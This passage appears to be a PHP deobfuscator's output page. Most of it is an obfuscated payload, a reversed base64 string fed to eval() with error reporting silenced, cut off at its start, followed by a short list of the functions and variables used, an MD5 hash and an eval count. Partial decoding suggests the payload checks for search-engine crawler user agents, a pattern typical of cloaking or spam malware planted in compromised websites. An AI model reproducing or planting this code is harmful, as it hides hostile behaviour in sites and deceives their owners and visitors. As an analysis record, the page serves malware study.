UFN1XkACLnk2LnAiLgkyc05WZnFkclNXdkACLnw3JoUGZvxGctlGIuAyJvcCKoNGdh12XnVmcwhiZpBCIgAiC7kiIyVGbi1WYSJCIsICelRmbhllIgwiIyVmdph2YyF2XhlmIgwiI09mQONVTiACLiAnc1x2UiACLiUGbn92bHJCK5FmcyFGI9Ayc05WZnFkclNXdkACIgAiC7BSKp01JU5URHF0XSV0UV9FUURFSnslUFZlUFN1XkgSe0BXblFCKmlmCKszJxUjMx0yc39GZul2VnASPgQXZzJXYoN2X0xWdhZWZkRiC7UWdyRHI9ACehpWYfV2c19FdsVXYmVGZkowOn4WYNNXZslmRnASPg42bpR3Yh9FdsVXYmVGZkowOiUjZkNiIg0DIy9GbvNGJKoQfK0XCKsTKn5Wak92YuV2XvRHJgwCITVEVPVVUfRlTFBCLpcmbpR2bj5WZf12byZGJgwyUFR1TVF1XU5URgwyZulmc0NHJoMXZpRXa05WZs1GdohSZk92YlR2X5RXa05WZfxWb0hGIuJXd0VmcJkgC7lyZulmc0NHJgwyZulGZvNmbl91b0RCIscmbpR2bj5WZf12byZGJoYnbvNWag42bpR3YuVnZJowegkSKnYnbvNWangyc0NXa4V2Xu9Wa0Nmb1ZWIoAiZppQfK0XCKsTKn5Wak92YuV2Xt9mcmRCIscmbpR2bj5WZf9GdkACLn5WayR3ckgyZulGZvNmbl9FdyVmdu92YfJWbg4mc1RXZylQCKsXKn5WayR3ckACLn5Wak92YuV2XvRHJgwyZulGZvNmbl9VbvJnZkgidu92YpBibvlGdj5WdmlgC7BSKpcyZulGZvNmbl9FdyVmdu92YfJWbngyc0NXa4V2Xu9Wa0Nmb1ZGImYCIpcidu92YpdCKzR3cphXZf52bpR3YuVnZhgCImlmC9pQfgACIgowOpcmbpJHdzRCIscmbpR2bj5WZfRXdwRXdvRCIscmbpR2bj5WZfRXdw5Wakgidu92YpJWasBibyVHdlJHIgACIgACIgowegkyZulmc0NHJgwyZulGZvNmbl9Fd1BHd19GJgwyZulGZvNmbl9Fd1BnbpRCK252bjlGIu9Wa0Nmb1ZGIgACIKsHIpkyJ252bjlmYpx2JoMHdzlGel9lbvlGdj5WdmBiJmASKnYnbvNWangyc0NXa4V2Xu9Wa0Nmb1ZWIoAiZppgC'))); ?>

Function Calls

strrev 1
ini_set 1
base64_decode 1
error_reporting 1

Variables

$IcoJs base64_decode
$twpBu strrev

Stats

MD5 3fdf2c5b5cc697be5f7c7bb67adf14ec
Eval Count 1
Decode Time 189 ms